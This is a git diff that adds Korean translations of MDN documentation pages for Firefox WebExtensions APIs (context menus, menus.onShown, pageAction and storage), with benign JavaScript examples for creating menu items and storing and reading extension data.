서버메뉴에 대해서만 {{WebExtAPIRef("menus.create()")}}에 icons 옵션을 전달해서 아이콘을 지정할 수 있다.

+ +

+ +

예제

+ +

아래 콘텍스트 메뉴에는 4개 항목이 있다: 보통 항목 하나, 위-아래가 구분선인 두 개의 라디오 항목, 그리고 체크박스 항목 하나다. 라디오 항목에는 따로 아이콘이 지정되었다.

+ +

이 서버메뉴는 아래 코드로 만들 수 있다:

+ +
browser.menus.create({
+  id: "remove-me",
+  title: browser.i18n.getMessage("menuItemRemoveMe"),
+  contexts: ["all"]
+}, onCreated);
+
+browser.menus.create({
+  id: "separator-1",
+  type: "separator",
+  contexts: ["all"]
+}, onCreated);
+
+browser.menus.create({
+  id: "greenify",
+  type: "radio",
+  title: browser.i18n.getMessage("menuItemGreenify"),
+  contexts: ["all"],
+  checked: true,
+  icons: {
+    "16": "icons/paint-green-16.png",
+    "32": "icons/paint-green-32.png"
+  }
+}, onCreated);
+
+browser.menus.create({
+  id: "bluify",
+  type: "radio",
+  title: browser.i18n.getMessage("menuItemBluify"),
+  contexts: ["all"],
+  checked: false,
+  icons: {
+    "16": "icons/paint-blue-16.png",
+    "32": "icons/paint-blue-32.png"
+  }
+}, onCreated);
+
+browser.menus.create({
+  id: "separator-2",
+  type: "separator",
+  contexts: ["all"]
+}, onCreated);
+
+var checkedState = true;
+
+browser.menus.create({
+  id: "check-uncheck",
+  type: "checkbox",
+  title: browser.i18n.getMessage("menuItemUncheckMe"),
+  contexts: ["all"],
+  checked: checkedState
+}, onCreated);
+ +

타입

+ +
+
{{WebExtAPIRef("contextMenus.ContextType")}}
+
메뉴가 표시되게 하는 여러 콘텍스트. 가능한 값은: "all", "audio", "browser_action", "editable", "frame", "image", "link", "page", "page_action", "password", "selection", "tab", "video".
+
{{WebExtAPIRef("contextMenus.ItemType")}}
+
메뉴 항목의 종류: "normal", "checkbox", "radio", "separator".
+
{{WebExtAPIRef("contextMenus.OnClickData")}}
+
메뉴 항목이 클릭됐을 때 보내지는 정보.
+
+ +

속성

+ +
+
{{WebExtAPIRef("contextMenus.ACTION_MENU_TOP_LEVEL_LIMIT")}}
+
최상위에 추가할 수 있는 ContextType이 "browser_action"이나 "page_action"인 메뉴 항목의 최대 수량.
+
+ +

함수

+ +
+
{{WebExtAPIRef("contextMenus.create()")}}
+
새 콘텍스트 메뉴 항목을 만든다.
+
{{WebExtAPIRef("contextMenus.update()")}}
+
전에 만든 콘텍스트 메뉴 항목을 갱신한다.
+
{{WebExtAPIRef("contextMenus.remove()")}}
+
콘텍스트 메뉴 항목을 지운다.
+
{{WebExtAPIRef("contextMenus.removeAll()")}}
+
확자앱에 추가된 모든 콘텍스트 메뉴 항목을 지운다.
+
+ +

이벤트

+ +
+
{{WebExtAPIRef("contextMenus.onClicked")}}
+
콘텍스트 메뉴 항목이 클릭하면 발생한다.
+
+ +

브라우저 호환성

+ +

{{ Compat("webextensions.api.menus", 1, "true") }}

+ +

{{WebExtExamples("h2")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.contextMenus API. This documentation is derived from context_menus.json in the Chromium code.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html new file mode 100644 index 0000000000..1fd716e3bb --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/contextmenus/onshown/index.html @@ -0,0 +1,144 @@ +--- +title: menus.onShown +slug: Mozilla/Add-ons/WebExtensions/API/contextMenus/onShown +translation_of: Mozilla/Add-ons/WebExtensions/API/menus/onShown +--- +
{{AddonSidebar()}}
+ +

Fired when the browser has shown a menu.

+ +

An extension can use this event to update its menu items using information that's only available once the menu is shown. Typically an extension will figure out the update in its onShown handler and then call {{WebExtAPIRef("menus.refresh()")}} to update the menu itself.

+ +

The handler can add, remove, or update menu items.

+ +

For example, the menu-labelled-open example extension adds a menu item that's shown when the user clicks a link, and that, when clicked, just opens the link. It uses onShown and refresh() to annotate the menu item with the hostname for the link, so the user can easily see where they will go before they click.

+ +

Note that an extension should not take too much time before calling refresh(), or the update will be noticeable to the user.

+ +

The handler is passed some information about the menu and its contents, and some information from the page (such as the link and/or selection text). To get access to the information from the page, your extension must have the host permission for it.

+ +

If the onShown handler calls any asynchronous APIs, then it's possible that the menu has been closed again before the handler resumes execution. Because of this, if a handler calls any asynchronous APIs, it should check that the menu is still being displayed before it updates the menu. For example:

+ +
var lastMenuInstanceId = 0;
+var nextMenuInstanceId = 1;
+
+browser.menus.onShown.addListener(async function(info, tab) {
+  var menuInstanceId = nextMenuInstanceId++;
+  lastMenuInstanceId = menuInstanceId;
+
+  // Call an async function
+  await .... ;
+
+  // After completing the async operation, check whether the menu is still shown.
+  if (menuInstanceId !== lastMenuInstanceId) {
+    return; // Menu was closed and shown again.
+  }
+  // Now use menus.create/update + menus.refresh.
+});
+
+browser.menus.onHidden.addListener(function() {
+  lastMenuInstanceId = 0;
+});
+ +

Note that it is possible to call menus API functions synchronously, and in this case you don't have to perform this check:

+ +
browser.menus.onShown.addListener(async function(info, tab) {
+  browser.menus.update(menuId, ...);
+   // Note: Not waiting for returned promise.
+  browser.menus.refresh();
+});
+ +

However, if you call these APIs asynchronously, then you do have to perform the check:

+ +
browser.menus.onShown.addListener(async function(info, tab) {
+  var menuInstanceId = nextMenuInstanceId++;
+  lastMenuInstanceId = menuInstanceId;
+
+  await browser.menus.update(menuId, ...);
+  // must now perform the check
+  if (menuInstanceId !== lastMenuInstanceId) {
+    return;
+  }
+  browser.menus.refresh();
+});
+ +

Firefox makes this event available via the contextMenus namespace as well as the menus namespace.

+ +

문법

+ +
browser.menus.onShown.addListener(listener)
+browser.menus.onShown.removeListener(listener)
+browser.menus.onShown.hasListener(listener)
+
+ +

Events have three functions:

+ +
+
addListener(listener)
+
Adds a listener to this event.
+
removeListener(listener)
+
Stop listening to this event. The listener argument is the listener to remove.
+
hasListener(listener)
+
Check whether listener is registered for this event. Returns true if it is listening, false otherwise.
+
+ +

addListener syntax

+ +

매개변수

+ +
+
callback
+
+

Function that will be called when this event occurs. The function will be passed the following arguments:

+ +
+
info
+
+

Object. This is just like the {{WebExtAPIRef('menus.OnClickData')}} object, except it contains two extra properties:

+ +
    +
  • contexts: an array of all the {{WebExtAPIRef("menus.ContextType", "contexts")}} that are applicable to this menu.
  • +
  • menuIds: an array of IDs of all menu items belonging to this extension that are being shown in this menu.
  • +
+ +

Compared with menus.OnClickData, the info object also omits the menuItemId and modifiers properties, because of course these are not available until a menu item has been selected.

+ +

The contexts, menuIds, frameId, and editable properties are always provided. All the other properties in info are only provided if the extension has the host permission for the page.

+
+
+ +
+
tab
+
{{WebExtAPIRef('tabs.Tab')}}. The details of the tab where the click took place. If the click did not take place in or on a tab, this parameter will be missing.
+
+
+
+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.menus.onShown", 10)}}

+ +

예제

+ +

This example listens for the context menu to be shown over a link, then updates the openLabelledId menu item with the link's hostname:

+ +
function updateMenuItem(linkHostname) {
+  browser.menus.update(openLabelledId, {
+    title: `Open (${linkHostname})`
+  });
+  browser.menus.refresh();
+}
+
+browser.menus.onShown.addListener(info => {
+  if (!info.linkUrl) {
+    return;
+  }
+  let linkElement = document.createElement("a");
+  linkElement.href = info.linkUrl;
+  updateMenuItem(linkElement.hostname);
+});
+
+ +

{{WebExtExamples}}

diff --git a/files/ko/mozilla/add-ons/webextensions/api/index.html b/files/ko/mozilla/add-ons/webextensions/api/index.html new file mode 100644 index 0000000000..a55642e38a --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/index.html @@ -0,0 +1,51 @@ +--- +title: JavaScript APIs +slug: Mozilla/Add-ons/WebExtensions/API +tags: + - NeedsTranslation + - TopicStub + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/API +--- +
{{AddonSidebar}}
+ +
+

The WebExtension JavaScript APIs can be used inside the add-on's background scripts and in any other documents bundled with the add-on, including  browser action or page action popups, sidebars, options pages, or new tab pages. A few of these APIs can also be accessed by an add-on's content scripts (see the list in the content script guide).

+ +

To use the more powerful APIs you need to request permission in your add-on's manifest.json.

+ +

You can access the APIs using the browser namespace:

+ +
function logTabs(tabs) {
+  console.log(tabs);
+}
+
+browser.tabs.query({currentWindow: true}, logTabs);
+
+ +
+

Many of the APIs are asynchronous, returning a Promise:

+ +
function logCookie(c) {
+  console.log(c);
+}
+
+function logError(e) {
+  console.error(e);
+}
+
+var setCookie = browser.cookies.set(
+  {url: "https://developer.mozilla.org/"}
+);
+setCookie.then(logCookie, logError);
+
+ +
+

Note that this is different from Google Chrome's extension system, which uses the chrome namespace instead of browser, and which uses callbacks instead of promises for asynchronous functions. As a porting aid, the Firefox implementation of WebExtensions supports chrome and callbacks as well as browser and promises. Mozilla has also written a polyfill which enables code that uses browser and promises to work unchanged in Chrome: https://github.com/mozilla/webextension-polyfill.

+ +

Microsoft Edge uses the browser namespace, but doesn't yet support promise-based asynchronous APIs. In Edge, for the time being, asynchronous APIs must use callbacks.

+ +

Not all browsers support all the APIs: for the details, see Browser support for JavaScript APIs.

+
+ +
{{SubpagesWithSummaries}}
diff --git a/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html b/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html new file mode 100644 index 0000000000..7d5ad34823 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/pageaction/index.html @@ -0,0 +1,99 @@ +--- +title: pageAction +slug: Mozilla/Add-ons/WebExtensions/API/pageAction +translation_of: Mozilla/Add-ons/WebExtensions/API/pageAction +--- +
{{AddonSidebar}}
+ +

페이지 액션은 브라우저의 주소창에 있는 아이콘이다.

+ +

+ +

아이콘 클릭에 대한 대응은 리스너를 등록하고 클릭 이벤트를 기다리는 것이나, 팝업창이 열리게 하는 것일 수 있다.

+ +

팝업창은 보통의 웹페이지처럼 HTML, CSS, 그리고 자바스크립트로 내용과 동작을 작성할 수 있다. 팝업창에서 실행되는 자바스크립트는 백그라운드 스크립트와 마찬가지로 모든 확장앱 API를 사용할 수 있다.

+ +

manifest.jsonpage_action 키에 페이지 액션의 대부분의 속성들을 정의할 수 있지만, 이것들은 확정되는 것이라 이후에 바꿀 수 없다. 하지만 이 API는 그것들을 프로그램적으로 재정의하는 것도 가능하다. 그러나 API는 manifest.jsonpage_action 키가 있어야만 사용할 수 있게 되므로 설사 모든 것을 프로그램적으로 할 계획이더라도 page_action 키는 있어야 한다.

+ +

페이지 액션은 특정 페이지에만 적절한 동작들을 위한 것이다(이럴테면 "현재 탭을 북마크하기" 같은). 그렇지 않고, 브라우저가 전반적으로 관련되는 동작이라면(가령은 "모든 북마크 보기" 라면) 브라우저 액션을 대신 사용하라.

+ +

자료형

+ +
+
{{WebExtAPIRef("pageAction.ImageDataType")}}
+
이미지에 대한 픽셀 자료.
+
+ +

함수

+ +
+
{{WebExtAPIRef("pageAction.show()")}}
+
지정한 탭에 페이지 액션을 보인다.
+
{{WebExtAPIRef("pageAction.hide()")}}
+
지정한 탭의 페이지 액션을 숨긴다.
+
{{WebExtAPIRef("pageAction.isShown()")}}
+
페이지 액션이 보이는지 아닌지 검사한다.
+
{{WebExtAPIRef("pageAction.setTitle()")}}
+
페이지 액션의 제목을 설정한다. 이것은 페이지 액션위에 툴팁으로 표시된다.
+
{{WebExtAPIRef("pageAction.getTitle()")}}
+
페이지 액션의 제목을 얻는다.
+
{{WebExtAPIRef("pageAction.setIcon()")}}
+
페이지 액션의 아이콘을 설정한다.
+
{{WebExtAPIRef("pageAction.setPopup()")}}
+
페이지 액션의 팝업 URL을 설정한다.
+
{{WebExtAPIRef("pageAction.getPopup()")}}
+
페이지 액션의 팝업 URL을 얻는다.
+
{{WebExtAPIRef("pageAction.openPopup()")}}
+
페이지 액션의 팝업을 연다.
+
+ +

이벤트

+ +
+
{{WebExtAPIRef("pageAction.onClicked")}}
+
페이지 액션의 아이콘이 클릭되면 발생한다. 페이지 액션이 팝업이 설정되어 있으면 발생하지 않는다.
+
+ +

브라우저 호환성

+ +

{{Compat("webextensions.api.pageAction")}}

+ +

{{WebExtExamples("h2")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.pageAction API. This documentation is derived from page_action.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html b/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html new file mode 100644 index 0000000000..523887dd72 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/pageaction/show/index.html @@ -0,0 +1,93 @@ +--- +title: pageAction.show() +slug: Mozilla/Add-ons/WebExtensions/API/pageAction/show +translation_of: Mozilla/Add-ons/WebExtensions/API/pageAction/show +--- +
{{AddonSidebar()}}
+ +

지정한 탭의 페이지 액션을 보인다. 페이지 액션은 해당 탭이 활성일 때 표시된다.

+ +

show()는 설정된 URL 패턴과 상관없이 동작한다. 따라서 show_matches와 일치하지 않아도 hide_matches여도 표시된다.

+ +

show()는 아무런 내용도 없는 탭에는 효과가 없다.

+ +

문법

+ +
browser.pageAction.show(
+  tabId // integer
+)
+
+ +

매개변수

+ +
+
tabId
+
integer. 페이지 액션을 표시할 탭의 ID
+
+

반환값

+ +

값 없이 해결을 수행하는 Promise.

+
+
+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.pageAction.show")}}

+ +

예제

+ +

콘텍스트 메뉴가 선택되면 페이지 액션을 보이는 예제다. 메뉴를 만들려면 contextMenus 권한manifest에 필요하다.

+ +
browser.contextMenus.create({
+  id: "show",
+  title: "Show page action"
+});
+
+browser.contextMenus.onClicked.addListener(function(info, tab) {
+  if (info.menuItemId == "show") {
+    browser.pageAction.show(tab.id);
+  }
+});
+
+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.pageAction API. This documentation is derived from page_action.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/index.html new file mode 100644 index 0000000000..254cd7bdcf --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/storage/index.html @@ -0,0 +1,111 @@ +--- +title: storage +slug: Mozilla/Add-ons/WebExtensions/API/storage +tags: + - 비표준 + - 웹확장 + - 인터페이스 + - 저장소 + - 참조 + - 확장 +translation_of: Mozilla/Add-ons/WebExtensions/API/storage +--- +
{{AddonSidebar}}
+ +

웹확장이 데이터를 저장하고, 확인하고, 저장된 항목의 변화를 감시할 수 있도록 해 준다.

+ +

저장소 시스템은 Web Storage API에 기반하는데 약간의 차이가 있다:

+ + + +

이 API를 사용하려면 manifest.json 파일에 "storage" 권한이 포함돼야 한다.

+ +

각 웹확장은 자신만의 저장소를 따로 가진다. which can be split into different types of storage.

+ +

이 API는 {{domxref("Window.localStorage")}}와 비슷하지만, 확장 코드가 확장 관련 데이터를 저장하는데 Window.localStorage를 사용하지 말 것을 권장한다. 사적이 이유로 사용자가 방문 기록이나 데이터를 지우는 다양한 상황에서 확장이 localStorage API로 저장된 데이터는 지워지지만, storage.local API로 저장한 데이터는 정확하게 유지된다.

+ +

자료형

+ +
+
{{WebExtAPIRef("storage.StorageArea")}}
+
저장소 영역을 표현하는 객체.
+
{{WebExtAPIRef("storage.StorageChange")}}
+
저장소 영역의 변화를 표현하는 객체.
+
+ +

속성

+ +

storage에는 저장소 영역의 가능한 형식을 나타내는 세가지 속성이 있다.

+ +
+
{{WebExtAPIRef("storage.sync")}}
+
sync 저장소 영역을 표현한다. sync 저장소의 항목은 브라우저에 동기되므로 사용자가 로그인한 모든 브라우저에서 사용할 수 있다. 기기가 달라도 된다.
+
{{WebExtAPIRef("storage.local")}}
+
local 저장소 영역을 표현한다. local 저장소의 항목은 확장이 설치된 기기에 한정된다.
+
{{WebExtAPIRef("storage.managed")}}
+
managed 저장소 영역을 표현한다. managed 저장소의 항목은 도메인 관리자가 설정하고 확장은 읽을 수만 있으므로 변경을 시도하면 에러가 발생한다.
+
+ +

이벤트

+ +
+
{{WebExtAPIRef("storage.onChanged")}}
+
저장소 영역의 항목에 변화가 있으면 발생한다.
+
+ +

브라우저 호환성

+ +

{{Compat("webextensions.api.storage")}}

+ + + +

Edge incompatibilities

+ +

{{WebExtExamples("h2")}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html new file mode 100644 index 0000000000..2d8e31c579 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/storage/local/index.html @@ -0,0 +1,88 @@ +--- +title: storage.local +slug: Mozilla/Add-ons/WebExtensions/API/storage/local +tags: + - 로칼 + - 비표준 + - 저장소 +translation_of: Mozilla/Add-ons/WebExtensions/API/storage/local +--- +
{{AddonSidebar()}}
+ +

local 저장소 영역을 표현한다. local 저장소의 항목은 확장이 설치된 기기에 제한된다.

+ +

브라우저는 local 저장소에 저장할 수 있는 데이터의 양을 제한한다:

+ + + +

확장이 제거되면, 그것과 연결된 local 저장소는 지워진다.

+ +

파이어폭스에서는 확장을 제거해도 local 저장소를 브라우저가 지우지 않도록 막을 수 있다. "about:config"에서 "keepUuidOnUninstall"와 "keepStorageOnUninstall" 두 브라우저 기본 설정을 true로 고치면 된다. 이 특징은 개발자가 확장을 테스트하는데 도움을 주려는 것이다. 확장 스스로 이 값들을 바꿀 수는 없다.

+ +

이 API는 {{domxref("Window.localStorage")}}와 비슷하지만, 확장 코드가 확장 관련 데이터를 저장하는데 Window.localStorage를 사용하지 말 것을 권장한다. 사적이 이유로 사용자가 방문 기록이나 데이터를 지우는 다양한 상황에서 확장이 localStorage API로 저장된 데이터는 지워지지만, storage.local API로 저장한 데이터는 정확하게 유지된다.

+ +

메소드

+ +

local 객체는 {{WebExtAPIRef("storage.StorageArea")}} 자료형에 정의된 메소드로 구현되었다:

+ +
+
{{WebExtAPIRef("storage.StorageArea.get()")}}
+
저장소 영역에서 하나 이상의 항목을 가져온다.
+
{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}
+
저장소의 사용된 크기를 바이트단위로 얻는다.
+
{{WebExtAPIRef("storage.StorageArea.set()")}}
+
저장소에 하나 이상의 항목을 설정한다. 이미 있는 항목은 교체된다. 값을 설정하면 {{WebExtAPIRef("storage.onChanged")}} 이벤트가 발생한다.
+
{{WebExtAPIRef("storage.StorageArea.remove()")}}
+
저장소에서 하나 이상의 값을 지운다.
+
{{WebExtAPIRef("storage.StorageArea.clear()")}}
+
저장소의 모든 항목을 지워서 비운다.
+
+ +

브라우저 호환성

+ + + +

{{Compat("webextensions.api.storage.local")}}

+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html new file mode 100644 index 0000000000..182a655ad6 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/get/index.html @@ -0,0 +1,125 @@ +--- +title: StorageArea.get() +slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get +translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/get +--- +
{{AddonSidebar()}}
+ +

저장소에서 하나 이상의 항목을 가져온다.

+ +

비동기 함수로 Promise를 돌려준다.

+ +

문법

+ +
let gettingItem = browser.storage.<storageType>.get(
+  keys    // null, string, object or array of strings
+)
+
+ +

<storageType>는 읽기 가능한 저장소 중의 하나다 — {{WebExtAPIRef("storage.sync", "sync")}}, {{WebExtAPIRef("storage.local", "local")}}, 또는 {{WebExtAPIRef("storage.managed", "managed")}}.

+ +

매개변수

+ +
+
keys
+
저장소에서 가져올 항목을 지정하는 키 (문자열) 또는 키들 (문자열의 배열 또는 기본값이 주어진 객체). 빈 문자열, 객체, 또는 배열이 주어지면 빈 객체가 반환된다. null이나 undefined가 주어지면 전체 항목이 반환된다.
+
+ +

반환값

+ +

반환된 Promise는 저장소에서 찾은 모든 항목을 담은 객체를 인수로 완료를 수행한다. 실패하면 에러 문장으로 거부가 수행된다. managed 저장소가 설정되어 있지 않으면 undefined가 반환된다.

+ +
+

When used within a content script in Firefox versions prior to 52, the Promise returned by browser.storage.local.get() is fulfilled with an Array containing one Object. The Object in the Array contains the keys found in the storage area, as described above. The Promise is correctly fulfilled with an Object when used in the background context (background scripts, popups, options pages, etc.). When this API is used as chrome.storage.local.get(), it correctly passes an Object to the callback function.

+
+ +

브라우저 호환성

+ +

{{Compat("webextensions.api.storage.StorageArea.get")}}

+ +

예제

+ +

두 항목을 담고 있는 저장소를 가정한다:

+ +
// storage contains two items,
+// "kitten" and "monster"
+browser.storage.local.set({
+  kitten:  {name:"Mog", eats:"mice"},
+  monster: {name:"Kraken", eats:"people"}
+});
+ +

promise에 대한 성공과 실패 핸들러를 정의한다:

+ +
function onGot(item) {
+  console.log(item);
+}
+
+function onError(error) {
+  console.log(`Error: ${error}`);
+}
+ +

keys 인수없이 전체를 구한다:

+ +
let gettingItem = browser.storage.local.get();
+gettingItem.then(onGot, onError);
+
+// -> Object { kitten: Object, monster: Object }
+ +

빈 인수는 빈 객체를 반환한다:

+ +
// with an empty array, retrieve nothing
+let gettingItem = browser.storage.local.get([]);
+gettingItem.then(onGot, onError);
+
+// -> Object { }
+ +

이름을 인수로 하면 일치하는 항목을 담은 객체를 반환한다:

+ +
let gettingItem = browser.storage.local.get("kitten");
+gettingItem.then(onGot, onError);
+
+// -> Object { kitten: Object }
+ +

이름들을 인수로 하면 전체 일치 항목을 모두 담은 객체를 반환한다:

+ +
let gettingItem = browser.storage.local.get(["kitten", "monster", "grapefruit"]);
+gettingItem.then(onGot, onError);
+
+// -> Object { kitten: Object, monster: Object } 
+ +

객체를 인수로 하면 주어진 객체의 키들을 이름으로 항목을 찾아서 돌려준다:

+ +
let gettingItem = browser.storage.local.get({
+  kitten: "no kitten",
+  monster: "no monster",
+  grapefruit: {
+    name: "Grape Fruit",
+    eats: "Water"
+  }
+});
+
+// -> Object { kitten: Object, monster: Object, grapefruit: Object }
+
+ +

{{WebExtExamples}}

+ +

크롬 예제

+ +

크롬에서는 Promise가 아니라 콜백 형태로 해야 한다.

+ +
chrome.storage.local.get("kitten", function(items){
+  console.log(items.kitten);  // -> {name:"Mog", eats:"mice"}
+});
+ +

또는 화살표 함수로 할 수 있다.

+ +
chrome.storage.local.get("kitten", items=>{
+  console.log(items.kitten); // -> {name:"Mog", eats:"mice"}
+});
+ +
Acknowledgements + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html new file mode 100644 index 0000000000..00d46ba6ec --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/index.html @@ -0,0 +1,85 @@ +--- +title: storage.StorageArea +slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea +tags: + - API + - Add-ons + - Extensions + - NeedsTranslation + - Non-standard + - Reference + - Storage + - StorageArea + - TopicStub + - Type + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea +--- +
{{AddonSidebar()}}
+ +

StorageArea is an object representing a storage area.

+ +

Type

+ +

Values of this type are objects.

+ +

Methods

+ +
+
{{WebExtAPIRef("storage.StorageArea.get()")}}
+
Retrieves one or more items from the storage area.
+
{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}
+
Gets the amount of storage space (in bytes) used one or more items being stored in the storage area.
+
{{WebExtAPIRef("storage.StorageArea.set()")}}
+
Stores one or more items in the storage area. If an item already exists, its value will be updated.
+
{{WebExtAPIRef("storage.StorageArea.remove()")}}
+
Removes one or more items from the storage area.
+
{{WebExtAPIRef("storage.StorageArea.clear()")}}
+
Removes all items from the storage area.
+
+ +

Browser compatibility

+ + + +

{{Compat("webextensions.api.storage.StorageArea")}}

+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+ +

Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.

+
+ + diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html new file mode 100644 index 0000000000..5201fd64c3 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/storage/storagearea/set/index.html @@ -0,0 +1,90 @@ +--- +title: StorageArea.set() +slug: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set +translation_of: Mozilla/Add-ons/WebExtensions/API/storage/StorageArea/set +--- +
{{AddonSidebar()}}
+ +

저장소 영역에 하나 이상의 항목을 저장하거나, 있는 항목을 고친다.

+ +

이 API로 값을 저장하거나 고치면, {{WebExtAPIRef("storage.onChanged")}} 이벤트가 발생한다.

+ +

비동기 함수로 Promise를 돌려준다.

+ +

문법

+ +
let settingItem = browser.storage.<storageType>.set(
+  keys             // object
+)
+
+ +

<storageType>은 쓰기 가능한 저장소 중의 하나다 — {{WebExtAPIRef("storage.sync")}} 또는 {{WebExtAPIRef("storage.local")}}.

+ +

매개변수

+ +
+
keys
+
+

저장소에 저장할 하나 이상의 키/값 쌍을 가진 객체다. 이미 있는 항목이라면 그 값은 고쳐진다.

+ +

값은 기초 자료형 (숫자, 논리값, 그리고 문자열 같은) 또는 배열이다.

+ +

Function, Date, RegExp, Set, Map, ArrayBuffer 기타등등 다른 자료형의 저장은 일반적으로 안된다. 지원되지 않는 이런 자료형들은 빈 객체로 저장되거나 에러를 발생시킨다. 정확한 것은 브라우저에 달렸다.

+
+
+ +

반환값

+ +

반환된 Promise는 동작이 성공하면 아무런 인수없이 완료를 수행하고, 실패하면 에러 문장과 함께 거부를 수행한다.

+ +

브라우저 호환성

+ +

{{Compat("webextensions.api.storage.StorageArea.set")}}

+ +

예제

+ +
function setItem() {
+  console.log("OK");
+}
+
+function gotKitten(item) {
+  console.log(`${item.kitten.name} has ${item.kitten.eyeCount} eyes`);
+}
+
+function gotMonster(item) {
+  console.log(`${item.monster.name} has ${item.monster.eyeCount} eyes`);
+}
+
+function onError(error) {
+  console.log(error)
+}
+
+// define 2 objects
+var monster = {
+  name: "Kraken",
+  tentacles: true,
+  eyeCount: 10
+}
+
+var kitten = {
+  name: "Moggy",
+  tentacles: false,
+  eyeCount: 2
+}
+
+// store the objects
+browser.storage.local.set({kitten, monster})
+  .then(setItem, onError);
+
+browser.storage.local.get("kitten")
+  .then(gotKitten, onError);
+browser.storage.local.get("monster")
+  .then(gotMonster, onError);
+
+ +

{{WebExtExamples}}

+ +
Acknowledgements + +

This API is based on Chromium's chrome.storage API. This documentation is derived from storage.json in the Chromium code.

+
diff --git a/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html b/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html new file mode 100644 index 0000000000..37915371f5 --- /dev/null +++ b/files/ko/mozilla/add-ons/webextensions/api/storage/sync/index.html @@ -0,0 +1,77 @@ +--- +title: storage.sync +slug: Mozilla/Add-ons/WebExtensions/API/storage/sync +translation_of: Mozilla/Add-ons/WebExtensions/API/storage/sync +--- +
{{AddonSidebar()}}
+ +
 
+ +

sync 저장 공간을 의미합니다. sync 저장 공간에 있는 데이터는 브라우저 사이에서 동기화되며 서로 다른 기기 간에 사용자가 브라우저에 로그인 한 경우 언제든지 접근 가능합니다.

+ +

Firefox에서 sync.storage 는 고유한 부가기능 ID에 의존성을 갖고 동작합니다. sync.storage, 를 사용하신다면 어플리케이션 manifest.json 파일에 있는 키를 통해 여러분의 부가기능에 고유한 ID를 부여해야 합니다.

+ +

이 API는 주로 여러분의 부가기능에 사용자 설정 정보를 저장하고 서로 다른 프로필 간에 설정을 동기화 할 수 있도록 사용됩니다. 이 API는 100KB까지 저장할 수 있습니다.  이보다 더 큰 데이터를 저장하려고 하는 경우, API 요청은 특정한 에러 메시지를 반환할 것입니다. 이 API는 아쉽게도 현재까지 특정한 성능을 보장하진 않습니다.

+ +

메소드

+ +

sync 객체는 {{WebExtAPIRef("storage.StorageArea")}} 타입에 정의 된 메소드를 제공합니다:

+ +
+
{{WebExtAPIRef("storage.StorageArea.get()")}}
+
저장소 영역에서 하나 이상의 항목을 가져온다.
+
{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}
+
저장소의 사용된 크기를 바이트단위로 얻는다.
+
{{WebExtAPIRef("storage.StorageArea.set()")}}
+
저장소에 하나 이상의 항목을 설정한다. 이미 있는 항목은 교체된다.
+
{{WebExtAPIRef("storage.StorageArea.remove()")}}
+
저장소에서 하나 이상의 값을 지운다.
+
{{WebExtAPIRef("storage.StorageArea.clear()")}}
+
저장소의 모든 항목을 지워서 비운다.
+
+ +

Browser 호환성

+ + + +

{{Compat("webextensions.api.storage.sync")}}

+ +

